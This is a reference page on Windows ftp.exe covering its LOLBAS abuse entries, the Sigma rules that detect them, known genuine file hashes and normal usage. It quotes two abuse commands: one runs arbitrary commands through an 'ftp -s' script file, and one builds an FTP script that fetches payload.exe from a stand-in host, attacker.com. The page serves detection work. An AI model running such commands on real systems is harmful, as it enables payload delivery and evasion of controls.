Ceplin Command Identifier

Identifier / Programs / Windows

ftp.exe

Transfers files to and from a computer running a File Transfer Protocol (ftp) server service. Windows commands reference

LOLBAS Execute, Download 2 Sigma rules name it 3 ATT&CK techniques 2 documented commands 12 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How ftp.exe is abused

documented by LOLBAS

Execute T1202 Indirect Command Execution

Run by echo.exe

-s

Download T1105 Ingress Tool Transfer

Run by cmd.exe

/cCarries out the command specified by and then exits the command processor. Windows commands reference
/sWhen used with /c or /k, triggers special non-parsing rules that strip the first and last quotes (") around the but leaves the rest of the command unchanged. Windows commands reference
/vEnables delayed environment variable expansion. Windows commands reference

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for ftp.exe.

2 documented commands

from LOLBAS, each read by the identifier

Execute T1202 Indirect Command Execution User privileges

Executes the commands you put inside the text file.

echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt
Identify

Trips 2 Sigma rules: mediumPotential Arbitrary Command Execution Via FTP.EXE by Victor Sergeev, oscd.community; lowCMD Shell Output Redirect by frack113

Download T1105 Ingress Tool Transfer User privileges

Download

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
Identify

Trips 2 Sigma rules: mediumPotential Arbitrary Command Execution Via FTP.EXE by Victor Sergeev, oscd.community; lowCMD Shell Output Redirect by frack113

All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for ftp.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for ftp.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
mediumPotential Arbitrary Command Execution Via FTP.EXEVictor Sergeev, oscd.community
mediumRenamed FTP.EXE ExecutionVictor Sergeev, oscd.community
T1059Command and Scripting Interpreter
T1105Ingress Tool Transfer
T1202Indirect Command Execution

Is it the real ftp.exe?

file version info and known copies
Installed inC:\Windows\system32\
C:\Windows\SysWOW64\
Signed byMicrosoft Windows
ProductMicrosoft Windows Operating System, Microsoft Corporation
DescriptionFile Transfer Program

12 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\ftp.exe · signed by Microsoft Windows

0a7059e5a83315eefad5b795bfc1cf735d87a7cd60a1b75f1fdd5f24c4e7f889

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\ftp.exe · signed by Microsoft Windows

0ec78ea01cfa65e9f86410cec82121113a0cd46b02e7ace78a108c417444ace6

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\ftp.exe · signed by Microsoft Windows

43784d61f7aba93cbd8127251229c66fe37b3af0759ca07e70ca7fa96b13cfb1

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\ftp.exe · signed by Microsoft Windows

9728a3b5755a67a4ebe91a04730efcc2cabebacbb41ffca75a71b42502e3d7d5

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\ftp.exe · signed by Microsoft Windows

a0a27b65b1359b659568ed59637f36f216377a7f2066d15db5be7024eb48863d

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\ftp.exe · signed by Microsoft Windows

f2e90d24ac7b15725750a7532ca52c596eab980ca199f7580fd7fa4fb0c351b1

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\ftp.exe · signed by Microsoft Windows

be279f10d7ff4c18d69724ef0eb04c91d8a34aac0db610e638b000991dfb8b02

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\ftp.exe · signed by Microsoft Windows

d7fb0e7e7e6c653e0db554433dfa6aad8be33b99431dd0a31e25943d0efb91f0

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\ftp.exe · signed by Microsoft Windows

4d30f463695d25ce3aaf9c51e9b7be4823fbb79b6e31847deb2ba1111755b2d6

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\ftp.exe · signed by Microsoft Windows

b51ba41e045bc3cced03bd690280958f6e79fa615c909cde67a5e416824a342a

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\ftp.exe · not signed

094228979e766e41961e4296b0fe3f5d43f28e61a47c03e17c18c07a58008050

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\ftp.exe · not signed

736bffd8c2ee02cd432004bbc539ca48bd664f17887b85b4dca51d0a9ea3251f

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Connect to a remote FTP server interactively

ftp hostIdentify

Log in as an anonymous user

ftp -A hostIdentify
-ASpecifies that any local interface can be used when binding the ftp data connection. Windows commands reference

Disable automatic login upon initial connection

ftp -n hostIdentify
-nSuppresses auto-login upon initial connection. Windows commands reference

None of the 3 examples the identifier reads matches LOLBAS abuse or trips a Sigma process-creation rule.

Options

12 in Windows commands reference
Show every option of ftp.exe
-vSuppresses display of remote server responses.
-dEnables debugging, displaying all commands passed between the FTP client and FTP server.
-iDisables interactive prompting during multiple file transfers.
-nSuppresses auto-login upon initial connection.
-gDisables file name globbing.
-sSpecifies a text file that contains ftp commands.
-aSpecifies that any local interface can be used when binding the ftp data connection.
-xOverrides the default SO_SNDBUF size of 8192.
-rOverrides the default SO_RCVBUF size of 8192.
-bOverrides the default async buffer count of 3.
-wSpecifies the size of the transfer buffer.
-?Displays help at the command prompt.